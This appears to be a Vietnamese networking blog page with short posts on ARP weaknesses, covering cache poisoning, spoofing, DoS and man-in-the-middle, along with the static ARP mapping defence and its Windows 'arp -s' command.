Để ngăn chặn việc một host cập nhật lại ánh xạ IP_MAC theo bản tin ARP giả mạo; ta có thể cấu hình ánh xạ IP_MAC tĩnh của các host trong mạng lên tất cả các host. Tuy nhiên cách làm này chỉ phù hợp với mạng rất nhỏ bởi:

Việc lưu toàn bộ ánh xạ IP_MAC của tất cả các host là không cần thiết vì một host thường không trao đổi với tất cả các host trên mạng.
Ngăn cản việc cấu hình DHCP server và làm tăng hoạt động của người quản trị bởi vì việc thay đổi địa chỉ của một host sẽ khiến người quản trị phải cấu hình lại bảng ánh xạ trên tất cả các host.
Đối với một số hệ điều hành như Windows, bảng ARP tĩnh này thực ra cũng chỉ tồn tại trong một phiên làm việc; khi người dùng khởi động lại máy, toàn bộ bảng ánh xạ tĩnh này sẽ bị xóa.

Câu lệnh cấu hình ánh xạ tĩnh trên hệ điều hành Windows:
arp[-s InetAddr EtherAddr [IfaceAddr]]
trong đó: InetAddr là địa chỉ IP; EtherAddr là địa chỉ MAC và IfaceAddr là địa chỉ của giao diện cần áp dụng.Ví dụ: arp -s 10.0.0.80 00-AA-00-4F-2A-9C

Các phương thức tấn công qua ARP

Tháng Chín 17, 2009 Để lại phản hồi

Lợi dụng điểm yếu của giao thức ARP là giao thức stateless: có nghĩa là một host khi nhận bản tin reply vẫn cập nhật thông tin trong đó vào ARP cache mặc dù nó hoàn toàn không gửi đi ARP request; kẻ tấn công lợi dụng điểm yếu này để gửi đi bản tin gratuitous giả mạo địa chỉ MAC nguồn tới máy nạn nhân. Kết quả là mọi thông tin máy

bị tấn công gửi đi tới một host có địa chỉ IP được chứng thực sẽ được chuyển qua máy của kẻ tấn công trước tiên. Một loạt các hình thức là hệ quả của kiểu tấn công giả mạo này có thể là: DoS; man-in-the-middle (MITM); chiếm đường truyền hoặc phiên truyền []…

2.1.Giả mạo ARP (ARP spoofing):
Có hai hình thức dựa trên kiểu giả mạo ARP này:
 Hình thức thứ nhất: kẻ tấn công gửi đi bản tin ARP reply với địa chỉ MAC là địa chỉ broadcast ở lớp 2 FF:FF:FF:FF:FF:FF. Kết quả là thông tin máy nạn nhân khi gửi unicast đến một host nào đó cũng bị coi là gửi đến tất cả các host trong mạng.
 Hình thức thứ hai: kẻ tấn công gửi ra toàn mạng bản tin ARP reply giả mạo địa chỉ MAC của một server nào đó trong mạng bằng một địa chỉ MAC không tồn tại. Kết quả là khi các host yêu cầu một dịch vụ nào đó trên server thì sẽ không được đáp ứng. Gói tin yêu cầu có gửi đi nhưng sẽ bị huỷ vì không có host nào nhận cả. Đây chính là kiểu tấn công DoS.

2.2.Kiểu tấn công Man-in-the-middle (MITM):
Theo cách tấn công này, kẻ tấn công sẽ dùng bản tin ARP reply giả mạo gửi đến cả hai máy nạn nhân. Ví dụ:

Hình 2.1: Sơ đồ tấn công Man-in-the-middle

Viet Matrix Revolutions

Viet Matrix Revolutions

Giả sử có hai máy A và B cần trao đổi thông tin với nhau. Máy X gửi bản tin ARP reply cho máy A với địa chỉ IP nguồn là địa chỉ của B còn địa chỉ MAC nguồn là địa chỉ của X. Ngược lại; X cũng gửi tới B bản tin giả mạo với địa chỉ IP nguồn là địa chỉ IP của A và địa chỉ MAC nguồn là địa chỉ MAC của X.

Kết quả là khi A và B trao đổi thông tin với nhau; toàn bộ thông tin này sẽ được trung chuyển qua X mà hai host này không hề hay biết. Kẻ tấn công có thể thay đổi hoặc đánh cắp thông tin tuỳ theo ý định tấn công. Tuy nhiên, để thực hiện thành công kiểu tấn công này, trên máy của kẻ tấn công phải sử dụng phần mềm chuyển gói tin thời gian thực: gói tin đến từ A hoặc B phải được gửi đi ngay tức khắc và mọi gói tin đều phải giữ nguyên thông số TTL (time to live).

Sưu tầm

Điểm yếu của ARP

Tháng Chín 17, 2009 Để lại phản hồi

Điểm yếu lớn nhất của giao thức ARP là ở chỗ nó là một stateless protocol, có nghĩa là nó sẽ không theo dõi các frame trả lời cho các request mà nó đã gửi, và vì thế sẽ chấp nhận các ARP reply mà trước đó không có request.

Nếu một kẻ nào đó muốn lấy cắp thông tin từ một trạm khác, attacker sẽ gửi các ARP reply giả mạo phù hợp một địa chỉ IP nào đó đã chọn trước với địa chỉ MAC của chúng. Trạm nhận được các ARP reply giả mạo này không thể phân biệt được nó là ARP reply hợp lệ hay không, và bắt đầu gửi dữ liệu tới địa chỉ MAC của attacker.

Một điểm yếu nữa của giao thức ARP đó là bảng thông tin ARP được lưu trữ cục bộ tại mỗi trạm trong một mạng. Điều này nhằm mục đích tăng tốc độ truyền dữ liệu bởi vì địa chỉ MAC sẽ không cần phải kiểm tra mỗi lần một thiết bị này muốn liên lạc với một thiết bị khác. Một kẻ tấn công muốn tiếp tục giả mạo một địa chỉ IP nào đó, nó cần phải Flood trạm đó với các ARP reply ghi đè lên các ARP hợp lệ từ trạm nguồn. Kiểu tấn công này thường được biết đến với cái tên ARP cache poisoning.

Categories: Network Thẻ:
Follow

Get every new post delivered to your Inbox.